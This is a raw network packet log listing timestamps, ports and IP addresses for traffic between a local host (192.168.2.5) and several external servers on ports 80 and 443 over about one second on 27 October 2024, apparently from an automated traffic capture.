Oct 27, 2024 17:54:40.791454077 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.791482925 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.791517019 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.791657925 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.791733980 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.795918941 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.795972109 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.796008110 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.796016932 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.796051979 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.796065092 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.796099901 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.798363924 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798432112 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798547983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798563004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798578024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798593044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798610926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798614979 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798628092 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798630953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798650980 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798676968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798685074 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798700094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798716068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798728943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798732042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798747063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798748016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798755884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798763037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798782110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798783064 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798795938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798800945 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798808098 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798813105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798827887 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798830032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798835993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798846006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798856974 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798861980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798876047 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798881054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798887968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798898935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798902988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798916101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798929930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798933029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798948050 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798948050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798964977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798969030 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798980951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.798988104 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.798996925 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.799012899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.799021006 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.799030066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.799047947 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.799048901 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.799073935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.799099922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.875811100 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.875845909 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.875900984 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.875917912 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.875931978 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.875963926 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.876487970 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.876506090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.876521111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.876555920 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.876583099 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.876858950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.876876116 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.876890898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.876918077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.876930952 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.877000093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.877016068 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.877058029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.877226114 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.877291918 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.877305984 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.877326012 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.877376080 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.877473116 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.877494097 CET	443	49924	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.877505064 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.877542973 CET	49924	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.905385971 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.905404091 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.905452967 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.905467987 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.905503988 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.908410072 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.908421993 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.908483982 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.908508062 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.908521891 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:40.908560038 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:40.918495893 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918515921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918529987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918571949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.918596029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.918627977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918643951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918658018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918669939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.918673992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918679953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.918703079 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.918719053 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.918781996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918796062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918818951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.918838978 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.918947935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918961048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918975115 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.918991089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919015884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919017076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919048071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919058084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919115067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919135094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919150114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919173956 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919497013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919512033 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919528008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919543028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919575930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919595003 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919647932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919663906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919681072 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919699907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919730902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919743061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919806957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919852018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.919964075 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.919979095 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.920110941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.920125008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.920137882 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.920140982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.920166016 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.920197010 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.920293093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.920308113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.920337915 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.921169043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.996305943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996340990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996356964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996395111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996408939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.996411085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996426105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996428967 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.996443033 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996455908 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.996459961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996475935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:40.996488094 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.996527910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:40.996535063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.007366896 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.021856070 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.021879911 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.021897078 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.021939039 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.021956921 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.021975040 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.022068977 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.022080898 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.022213936 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.024468899 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.024483919 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.024533987 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.024564028 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.024568081 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.024583101 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.024610043 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.024681091 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.024779081 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.024837017 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.028763056 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.028781891 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.028798103 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.028846979 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.028868914 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.038048029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038115025 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038157940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038172007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038208961 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038213015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038228035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038243055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038269997 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038284063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038408041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038474083 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038490057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038543940 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038544893 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038568974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038584948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038705111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038744926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038758039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038800955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038897991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038948059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038963079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.038969994 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.038996935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.038996935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039014101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039057016 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039247990 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.039253950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039257050 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.039282084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039298058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039330959 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039350986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039355993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039374113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039390087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039400101 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039407015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039414883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039423943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039428949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039441109 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039449930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039454937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039465904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039479971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039482117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039499044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039499998 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039544106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039545059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039566994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039583921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039592981 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039601088 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039606094 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039629936 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039639950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039653063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039664984 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039669037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039681911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039686918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.039730072 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.039745092 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.040299892 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.040364027 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.041331053 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.041402102 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.041541100 CET	49934	443	192.168.2.5	3.168.2.115
Oct 27, 2024 17:54:41.041548014 CET	443	49934	3.168.2.115	192.168.2.5
Oct 27, 2024 17:54:41.044753075 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.045152903 CET	443	49930	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.045841932 CET	49927	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.045866966 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.046420097 CET	49927	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.046425104 CET	443	49927	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.046724081 CET	49930	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.046742916 CET	443	49930	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.047086954 CET	49930	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.047095060 CET	443	49930	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.051516056 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.051911116 CET	49928	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.051929951 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.052258015 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.052309036 CET	49928	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.052315950 CET	443	49928	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.052553892 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.052577972 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.052952051 CET	49931	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.052958965 CET	443	49931	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.066987038 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.067467928 CET	49932	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.067529917 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.067976952 CET	49932	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:41.067990065 CET	443	49932	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:41.115652084 CET	443	49936	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.116043091 CET	49936	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.116056919 CET	443	49936	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.116447926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116478920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116494894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116519928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.116559029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.116578102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116621017 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.116672993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116718054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116734028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116749048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116765022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:41.116772890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.116772890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.116808891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:41.117980003 CET	443	49936	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.118057013 CET	49936	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.119224072 CET	49936	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.119343042 CET	443	49936	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.130352020 CET	443	49935	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.130556107 CET	49935	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.130568027 CET	443	49935	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.131613970 CET	443	49935	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.131684065 CET	49935	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.132035971 CET	49935	443	192.168.2.5	23.198.7.171
Oct 27, 2024 17:54:41.132098913 CET	443	49935	23.198.7.171	192.168.2.5
Oct 27, 2024 17:54:41.141782999 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.141799927 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.141864061 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.141881943 CET	443	49926	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.141963959 CET	49926	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.144974947 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.144998074 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.145052910 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.145061970 CET	49925	443	192.168.2.5	23.47.50.137
Oct 27, 2024 17:54:41.145072937 CET	443	49925	23.47.50.137	192.168.2.5
Oct 27, 2024 17:54:41.145108938 CET	49925	443	192.168.2.5	23.47.50.137
